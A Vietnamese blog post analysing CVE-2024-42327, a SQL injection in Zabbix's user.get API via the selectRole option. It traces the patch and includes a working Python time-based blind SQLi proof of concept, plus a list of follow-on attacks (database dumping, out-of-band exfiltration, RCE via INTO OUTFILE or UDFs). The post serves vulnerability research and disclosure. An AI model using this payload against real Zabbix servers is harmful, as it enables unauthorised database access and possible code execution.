CVE-2024-42327

Shut up, be better

Overview

Hello, chào mọi người đây là bài blog phân tích CVE đầu tiên của 0x1ceKing mong rằng bản thân có thể phân tích thêm nhiều lỗ hổng 1day và kiếm cho mình được 0day trong thời gian tới hihi. Không để rong dài thì nay mình sẽ phân tích lỗ hổng CVE-2024-42327 trên Zabbix.

Zabbix là một ứng dụng mã nguồn mở dùng để giám sát hệ thống và mạng, giúp người dùng có thể theo dõi hiệu suất, tình trạng của máy chủ, thiết bị mạng, ứng dụng và dịch vụ. Sử dụng Search Engine ta thấy được Zabbix được dùng nhiều ở Brazil, Mỹ...

Lỗ hổng SQL Injection (SQLi) ở CVE-2024-42327 này tồn tại trong class CUser, cụ thể là trong hàm addRelatedObjects. Hàm này được gọi từ hàm CUser.get, Mọi tài khoản có quyền truy cập vào API đều có thể truy vấn được đến hàm này.

Affected Software

CVE này ảnh hưởng trên các phiên bản từ 6.0.0-6.0.31 / 6.4.0-6.4.16 / 7.0.0

Classification: SQL Injection ( SQLi)

CVSS Score: 9.9 (Critical)

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

ZABBIX API

Đầu tiên để hiểu được lỗ hổng trên cần hiểu được cách Zabbix -> Authentication, Authorization methods và user.get API của Zabbix

May mắn thay Zabbix có cả API docs hướng dẫn trên trang chủ:

19 APIwww.zabbix.com

Authentication

Authorization methods

Description và example của API user.get :

user.getwww.zabbix.com

Từ đó ta có thể dùng example của API trên để làm Unit Test cho CVE này.

Patch Analysis - Find endpoints

Vì đây là một lỗ hổng đã phát hiện từ ngày 27 tháng 11 nên đã có bản vá. Vậy công việc giờ đơn giản hơn không cần mò cả source code mà chỉ cần tìm và xem diff code.

Git commit link: here

May mắn là nhờ description ta biết được source của CVE này nằm trong API user.get nên không cần truy ngược những nơi gọi hàm addRelatedObjects nữa.

ui/include/classes/api/services/CUser.php

Dòng 1977 → 1982: Các dòng code trên tạo Database Raw Select Query → DBselect() là 1 Dangerous Function. Từ đó ta sẽ trace theo các tham số được input vào câu query trên.

Từ đó trace theo các dữ kiện như: userid, selectRole

Technical Analysis

Trace code trong ui/include/classes/api/services/CUser.php ta thấy userids, selectRole chúng được define ở hàm get :

Ở đây hàm get() trong class CUser được sử dụng để lấy thông tin người dùng từ database.Hàm này là core function để truy xuất thông tin user trong Zabbix API.

Từ dòng 116 → 120 tham số userids đã bị filter → Từ đó không thể kích hoạt lỗ hổng bằng Option trên.

⇒ Tuy nhiên khi phân tích code ở hàm get() , cũng như addRelatedObjects() ta đều không thấy Option selectRole bị Filter hoặc Sanitization. Từ đó tìm được source dẫn tới sink.

Root Cause: Bản chất lỗ hổng trên do các Untrusted Data từ các giá trị của Option selectRole trong API user. Các giá trị này do người dùng kiểm soát không được Sanitization/Validation mà rơi thẳng vào câu lệnh RAW SELECT SQL FUNCTION = DBselect() → Từ đó dẫn đến lỗ hổng.

Minimal PoC

Mình có viết một PoC với Payload được Minimal dùng để assume lỗ hổng trên hệ thống.

import requests
import argparse
import time

HEADERS = {"Content-Type": "application/json"}

def get_auth_token(target, username, password):
    """Obtain a valid session token from the target."""
    url = f"{target.rstrip('/')}/api_jsonrpc.php"
    login_data = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {"username": username, "password": password},
        "id": 1,
        "auth": None
    }

    try:
        response = requests.post(url, json=login_data, headers=HEADERS)
        response.raise_for_status()
        result = response.json().get("result")
        if result:
            print(f"[+] Session token: {result}")
            return result
        else:
            print("[-] Failed to retrieve session token. Check credentials.")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Login request failed: {e}")
    except ValueError:
        print("[-] Failed to decode JSON response during login.")
    return None

def test_sqli(target, auth_token):
    """Test the target for SQL injection vulnerability."""
    url = f"{target.rstrip('/')}/api_jsonrpc.php"
    user_data = {
        "jsonrpc": "2.0",
        "method": "user.get",
        "params": {
            "selectRole": ["roleid AND (SELECT(SLEEP(5)))"],
            "userids":  "1"
        },
        "id": 1,
        "auth": auth_token
    }
    # Bản chất giá trị của userids không quan trọng nếu không có Option này thì ứng dụng sẽ trả về tất cả các user
    try:
        start_time = time.perf_counter()
        response = requests.post(url, json=user_data, headers=HEADERS)
        response.raise_for_status()
        elapsed_time = time.perf_counter() - start_time

        if elapsed_time < 5:
            print("[+] Response time < 5 seconds. Target is NOT vulnerable.")
        else:
            print(f"[!] Response time: {elapsed_time:.2f} seconds. Target is VULNERABLE!")
    except requests.exceptions.RequestException as e:
        print(f"[-] SQLi test request failed: {e}")
    except ValueError:
        print("[-] Failed to decode JSON response during SQLi test.")

def main():
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-42327"
    )
    parser.add_argument("-t", "--target", required=True, help="The API endpoint URL.")
    parser.add_argument("-u", "--username", required=True, help="The username for authentication.")
    parser.add_argument("-p", "--password", required=True, help="The password for authentication.")

    args = parser.parse_args()

    auth_token = get_auth_token(args.target, args.username, args.password)
    if auth_token:
        test_sqli(args.target, auth_token)

if __name__ == "__main__":
    main()

Bản thân mình còn nợ 1 exploit code hoàn chỉnh cho CVE này.

Source code: https://github.com/0x1ceKing/Zabbix-6.0.31

• Các cách tối ưu hóa Blind Injection có các tài liệu tham khảo sau:

  • BLIND SQL INJECTION ATTACKS OPTIMIZATION

  • Tối ưu hóa tấn công - Blind Sql Injection

  • Faster Blind MySQL Injection Using Bit Shifting

  • 13 Kỹ Thuật Tấn Công SQL Injection

• List các Impact và các cách có thể thực thi nó:

  • Dump Database → True/False, Time-based, Out-of-band (OOB)=Gửi dữ liệu ra ngoài

  • RCE using → sys_exec(), SELECT ... INTO OUTFILE , User-Defined Function

Bài phân tích xin được kết thúc ở đây cảm ơn các bạn đã đọc 🔆w🍄